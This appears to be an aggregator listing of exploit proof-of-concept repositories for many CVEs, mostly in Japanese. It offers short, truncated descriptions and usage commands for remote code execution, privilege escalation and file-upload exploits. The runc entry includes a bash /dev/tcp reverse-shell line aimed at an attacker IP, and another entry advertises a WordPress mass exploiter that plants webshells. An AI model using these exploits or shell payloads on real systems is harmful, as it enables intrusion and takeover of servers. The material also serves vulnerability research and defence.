CVE-2022-46196

CVE-2022-46196 Description このPythonコードは、Cacti バージョン 1.2.22 以前における未認証のコマンドインジェクションの脆弱性を悪用します。コマンドラインから引数を解析するためにargparseを、ターゲットのCactiインスタンスのHTMLコンテンツを取得するためにrequestsを、HTMLコンテンツからCactiのバージョン番号を抽出するためにBeautifulSoupを使用します。バージョンが --lhost --lport ここで: CactiインスタンスのURLは、ターゲットのCactiインスタンスのURLです。...

CVE-2026-59310

CVE-2026-59310 寄付 PayPalまたは以下のQRコードをスキャンして、このプロジェクトのメンテナンスを支援してください。 ⚡ 簡単な使い方 このプロジェクトは、以下のような安全で許可された環境でのみ使用してください: ローカル仮想マシン Dockerコンテナ 隔離されたラボ環境 許可されたペネトレーションテスト環境 セットアップと使用例: root@kitploit: Follow every dir project 注: 他のプロジェクトからクローンした場合は、ネストされた .git ディレクトリをクリアするために curl -fsSL...

cve-2019-5736-poc

追加すべきヘッダー stage2.c bash include bash include 攻撃者PCのIPに修正 stage2.c bash const char poc = "!/bin/bash\n/bin/bash -i & /dev/tcp//4455 0&1 &\n"; Dockerイメージおよびコンテナの作成 root@kitploit: $ docker build -t cve . $ docker run -t -d --name cvetest cve $ sudo cp /usr/bin/docker-runc /usr/bin/docker-runc.bak...

usbhijacking

CVE-2017-8464 PoC Microsoft Windows Server 2008 SP2 および R2 SP1、Windows 7 SP1、Windows 8、Windows 8.1、Windows Server 2012 Gold および R2、Windows RT 8.1、Windows 10 Gold、1511、1607、1703、および Windows Server 2016 の Windows Shell において、巧妙に細工された .LNK ファイルが、Windows Explorer...

watchTowr-vs-Commvault-PreAuth-RCE-CVE-2025-34028

CVE-2025-34028 Commvault の事前認証リモートコード実行の概念実証 技術的詳細については、当社のブログ記事をご覧ください。 動作中の検出 root@kitploit: python watchtowr-vs-commvault-rce-CVE-2025-34028.py --url https://192.168.1.1 / | | |\ \ \ / / \ \ / | | | | / \ / / \ \ \ / / | | \ | Y | | \ / | | / // || \ ||| | \ / // || / / /...

TempRoot-Huawei

TempRoot-Huawei CVE-2019-2215 を介した Huawei 強化カーネル向けの一時 root このコードは P20 Pro CLT-AL00 向けに書かれており、カーネルオフセットはビルドフィンガープリントが 'HUAWEI/CLT-AL00/HWCLT:8.1.0/HUAWEICLT-AL00/176C00:user/release-keys' のファームウェアから取得されています。 背景 Samsung の KNOX と同様に、Huawei はハッカーによるエクスプロイトを防ぎ「セキュリティ」を向上させるために多くの仕組みを追加しました。...

CVE-2026-24061-lab

CVE-2026-24061 — 再現ラボ ⚠️ 教育目的のみ。隔離されたラボ環境。 フランス語はこちら 概要 GNU InetUtils telnetd ≤ 2.7 における重大な認証バイパス（CVSS 9.8）。 Telnet の NEWENVIRON オプションを介して USER 変数として -f root を注入することで、 認証されていない攻撃者がパスワードなしで root シェルを取得できます。 根本原因 Telnet ネゴシエーション中にクライアントから受信した USER 変数が、 サニタイズなしで直接 /usr/bin/login に渡されます。 root@kitploit...

cve-2025-32433

ビルド root@kitploit: » git clone https://github.com/0xPThree/cve-2025-32433.git && cd cve-2025-32433 » docker build -t erlang-ssh . » docker run -d --name erlang-ssh -p 2222:2222 erlang-ssh POC root@kitploit: kdev :: /erlang/CVE-2025-32433 ‹main› » python3 cve-2025-32433.py -h usage:...

CVE-2025-55182-GodzillaMemoryShell

CVE-2025-55182-GodzillaMemoryShell help root@kitploit: usage: exploit.py -h --proxy PROXY --utf16 --unicode --key KEY --target TARGET CVE-2025-55182 Godzilla Memoryshell options: -h, --help show this help message and exit --proxy PROXY HTTP proxy address, e.g. http://127.0.0.1:8888 --utf16 Enable...

poc-rebar3

Rebar3 シェルインジェクション CVE-2020-13802 概念実証 root@kitploit: git clone https://github.com/vulnbe/poc-rebar3.git cd poc-rebar3 rebar3 clean クレジット Alexey Pronin @vulnbe 参考文献 Rebar3 の脆弱性分析 脆弱性是正 PR CVE-2020-13802 CWE-78: OSコマンドで使用される特殊要素の不適切な無効化（'OSコマンドインジェクション'）...

CVE-2026-36467

Unrestricted Upload of File with Dangerous Type in core/modules/media.php in CuteNews v.2.1.2 allows remote authenticated users with access to the Media Manager panel to execute arbitrary code in the context of the web application, leading to remote server access by triggering a reverse shell...

CVE-2025-32433-Remote-Shell

CVE-2025-32433 远程 Shell 基于 Go 的 CVE-2025-32433 漏洞利用程序，可返回远程 bash shell。 其漏洞利用原理很大程度上参考了 ProDefense 针对 CVE-2025-32433 的 PoC。 运行漏洞利用程序 root@kitploit: make exploit.exe 也通过交叉编译的 Makefile 提供给 Windows 机器使用。 然后通过以下 2 种方式之一执行漏洞利用二进制文件： 命令 root@kitploit: ./exploit "" 注意：不会返回命令的输出 反向 Shell root@kitploit: n...

CVE-2024-25832-PoC

CVE-2024-25830 および CVE-2024-25832 - DataCube3 の不適切なアクセス制御と無制限のファイルアップロード 概要 このリポジトリは、DataCube3 デバイスを標的とした2段階のエクスプロイトチェーンの概念実証 PoC を提供します。CVE-2024-25830（不適切なアクセス制御）を使用して root パスワードを抽出し、CVE-2024-25832（無制限のファイルアップロード）を使用してリバースシェルスクリプトを展開します。この PoC は、ブログ記事「DataCube3 脆弱性レポート」の詳細な脆弱性分析を補完するものです。...

CVE-2025-32463_chwoot

CVE-2025-32463 – sudo chroot（"chwoot"）のPoC このリポジトリは、sudo の chroot 機能における CVE‑2025‑32463 権限昇格の脆弱性を実証するための、最小限かつ再現可能な環境を提供します。 この脆弱性は、Rich Mirch（X: @0xm1rch）氏により Stratascale に報告されました。 元の投稿: 脆弱性アドバイザリ: Sudo chroot の権限昇格 NVD: CVE-2025-32463（CVSS 9.3） 影響を受けるバージョン ほとんどの Linux ディストリビューションにおいて、sudo 1.9.1...

CVE-2026-14894

CVE-2026-14894 任意ファイルアップロード Nxploited Mass Exploiter — Super Forms & Elementor Pro 🩸 最新の独占0-day & 武器化されたCVEについてはTelegramに参加してください 📡 チャンネル: https://t.me/KNxploited 👤 Nxploited | @Kxploit WordPressプラグインにおける2つの未認証の任意ファイルアップロード 脆弱性を連鎖させる、高速・マルチスレッドの大量エクスプロイトツール — 成功したすべてのターゲットに検証済みのウェブシェルを配信します。 🎯 脆弱...

cve-2015-1538-1

PLEASE DO NOT SHARE THIS WITH ANYONE. THIS CODE IS BEING PROVIDED TO YOU UNDER FrienNDA. PEOPLE VIOLATING THIS WILL NO LONGER BE CONSIDERED FRIENDS...

SMBGhost_AutomateExploitation

SMBGhost CVE-2020-0796 自動エクスプロイトと検出 このPythonプログラムは、RCE SMBGhost脆弱性のラッパーです。動作するエクスプロイトのクレジットはすべてchompie1337にあります。スキャナーのクレジットはioncodesにあります。 これらの機能を1つのプログラムに自動化しました。リバースシェルを作成する際には、Windowsターゲットのアーキテクチャを考慮する必要があります。 このエクスプロイトは安定していません 。自己責任で使用してください。最初はうまくいかないことがあるため、2回目のリトライを追加しました。...

CVE-2025-55182-POC

CVE-2025-55182-POC React2Shell POC 使用方法: root@kitploit: sudo python3 hehe.py -t -c 例: root@kitploit: ❯ sudo python3 hehe-t 12.05.12.05 -c "id" . .. . | \ | | / \ / || || | | | / || | | | | || | | | | | | | | / ^ \ | ,----'---| |----| | | | | ----| || | | | | | | | | / | | / /\ \ | | | | | | | | \...

CVE-2011-2523

CVE-2011-2523 — vsFTPd 2.3.4 バックドアエクスプロイト このリポジトリには、悪意のあるバックドアが仕込まれた バージョンの vsFTPd 2.3.4 を標的とした Python ベースのエクスプロイトが含まれています。従来の脆弱性とは異なり、このバックドアは2011年にvsFTPdサイトでホストされていた公式バイナリへの不正な改変によって導入されました。 🧠 脆弱性の概要 侵害されたバイナリは、特別に細工されたユーザー名を受け取った後、ポート 6200 で待機します。 バックドアをトリガーすると、root権限 でリモートシェルが起動します。...

CVE-2026-28672

CVE-2026-28672 — Apache Ranger UnixUserGroupBuilder の OS コマンドインジェクション Apache Ranger の user-sync（unixusersync）モジュールにおける OS コマンドインジェクションの実行可能な PoC 再現コードです。 同期された各ユーザーのグループを列挙する際、UnixUserGroupBuilder はシェルを介して id コマンドを実行し、ユーザー名 をコマンドラインに連結します： root@kitploit: //...